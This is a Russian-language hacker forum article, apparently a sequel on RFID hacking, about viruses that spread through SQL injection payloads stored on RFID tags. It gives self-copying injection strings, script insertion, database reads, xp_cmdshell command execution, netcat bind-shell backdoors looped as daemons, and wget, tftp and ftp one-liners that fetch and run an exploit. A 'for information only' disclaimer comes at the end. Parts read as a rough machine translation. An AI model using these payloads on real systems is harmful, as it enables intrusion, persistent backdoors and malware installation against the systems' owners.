Вирус в RFID-хакинге , структура.


{Введение}

В этой статье дополнение , по теме RFID-хакинга. Основы и начало изложены в первой статье по адресу: http://forum.antichat.ru/thread123511.html . Из который мы узнали что , RFID- это Radio Frequency IDentification (радиочастотная идентификация) метод удаленного хранения и получения информации путем передачи радиосигналов с помощью устройств называемых RFID-метками.

{Про паразитов}

Основные функции вируса в данном виде атак , это самокопирование , и выполнение произвольного кода. Для этих целей паразит использует обычно базу данных. Детали зависят от базы данных, которая используется. В основном можно выделить два класса вирусов в данном виде атак: первый использует произвольные запросы в бд, второй всё осуществляет при помощи quines(спец программа).
Произвольный код который может выполнить вирус, зависит и от механизмов ответа базы данных на SQL-инъекций.


{SQL-инъекции}

В системах администрирования , обычно используется способ запросов RFID-меток из базы данных , с последующим возвратом данных, которые в свою очередь при правильной последовательности можно копировать. Так и копируют сами метки при наличии определенных факторов.

На данный момент можно рассмотреть два вида вирусов, первый это программа единичного запроса и второй , это использование многократных запросов.
Первый вид вируса , использует минимум места, и по своей структуре не может нести в себе боевой нагрузки. И используется лишь для ввода уже запланированной информации в базу данных. Вирус, использующий многократные запросы наоборот , уже создан для заражение систем аутоиндификации , и ввода вредоносного кода или же другой боевой нагрузки . Чаще всего используется второй способ, но для корректной работы ,этого типа вируса, требуется чтобы должным образом соблюдались некоторые условия в базе данных, а это обеспечение работы функции GetCurrentQuery-стиля, для доступа. Это нужно дабы избежать ошибки ,так как эта API фитча позволяет вводить комментарий. (спешу успокоить вас, данные функции изначально включены в системах по умолчанию)

Конкретные атаки можно осуществить, когда база данных сделала запрос в метке ,а та ответила вот таким содержанием
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'

Тут будет замнется в последующем переменные contents и id

Если данный запрос пройдет без ошибок, то нападающий может менять запрос по своему усмотрению при помощи нашей любимой кавычки ('') . А что можно сделать,??? А это добавить всего лишь сточку самокопирования в область NewContents и заражать другие системы аналогичным способом.

Вот примерно то что нам нужно :
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Вместо того, чтобы только обновлять область OldContents, запрос теперь также обновляет область NewContents. При помощи комментария SQL (-), в базе данных все ряды будут перемещены.Что открывает новые возможности для атакуещего.

Вставка вредоносного кода.

В описанной выше технологии инжектов , невозможно выполнение какого либо кода кроме запросов в базу данных.Однако при включении с клиентской стороны скриптенга , сервер автоматически становится уязвим. Скрипты могут быть вставлены после комментария, так, чтобы система базы данных проигнорировала их.
Единственное что нужно учесть , что при включении кода в эксплойте ,нужно учитывать третий параметр SUBSTR который должен соответствовать длине эксплойта.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
В более серьёзном варианте с использованием переменных, и вставок не только каких-то определенных скрипов это будет выглядеть так:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Тут вредоносный код должен быть проработан дважды, Тоесть первый раз , это самокопирование в базу данных, второй раз это выполнение самого себя.

НА данный момент возможность комментария присутствует в Оракул (OCI/iSQL*Plus) Это обеспечивает функциональные возможности GetCurrentQuery-стиля, с последующими привилегиями администратора.PostgreSQL, MySQL и Сервер SQL так же позволяют комментарии и многократные инжект-запросы. Тут тоже присутствуют функциональные возможности GetCurrentQuery-стиля. Однако для PostgreSQL и Сервер SQL,ещё не созданы надёжные рабочие вирусы, все ограничилось лишь пробными разработками.


{Несколько примеров вводимого вредоносного кода}

Функции управления системы, обеспеченные базами данных, могут использоваться, чтобы вызвать проблемы. Например, Сервер Microsoft SQL обеспечивает функцию ЗАКРЫТИЯ, которая позволяет базе данных быть закрытой от SQL.
Чтение Данных от Базы
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'данные в нижеприведенном запросе может быть использован для прямых запросов в базу данных.
'|| (SELECT ...) ||'
В этом случае, кавычки выполняют инъекцию SQL и заставляют данные интерпретироваться как кодекс. || оператор выполняет связь последовательности, вызывая результат ИЗБРАННОГО запроса быть добавленным к области в базе данных. Оператор связи последовательности требуется, для того, чтобы нитролизовать комментарий тоесть наши любимые кавычки.


{Выполнение Shell-команд через SQL-инжект}

Сервер SQL обеспечивает xp_cmdshell процедуру, которая позволяет вредоносным и не очень, командам быть выполненными.
EXEC Master..xp_cmdshell 'commands';

{Установка бэкдоров в системе}

Для протроянивания системы нам нужны следущте команды
netcat -lp1234|sh
где будет прослушиваться 1234 порт.

Но тут нас подстерегает опасность, установленного и правильно настроенного фаирвола или брендмаура. И тут есть решение , запустить код в бесконечном цикле, так чтобы он работал как демон , что само по себе позволяет создать более продвинутый бэк.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done{Другие возможности}

Есть ещё полезные фитчи, например wget.Тоесть загрузка файла по сети , и хранение файла в системе.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget обычно не доступен на системах Windows. В этом случае, нужно использовать tftp
tftp -i ip GET myexploit.exe & myexploit
Так же можно создать текстовый фаил , как говорится на лету , с использованием функции echo
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Заключение}

В этой статье описывалось проникновение, в уязвимую систему по средством программирования RFID-меток .Тут конечно Я должен предупредить ,что весь изложенный материал представлен лишь для ознакомления. В виду сложности исполнения технологии, а именно создание самой метки и программирования её с злым умыслом , представляется мне через чур сложным для простого обывателя . Так что предупреждаю людей знающих но страдающих бездельем , не стоит проверять данную информацию на практике .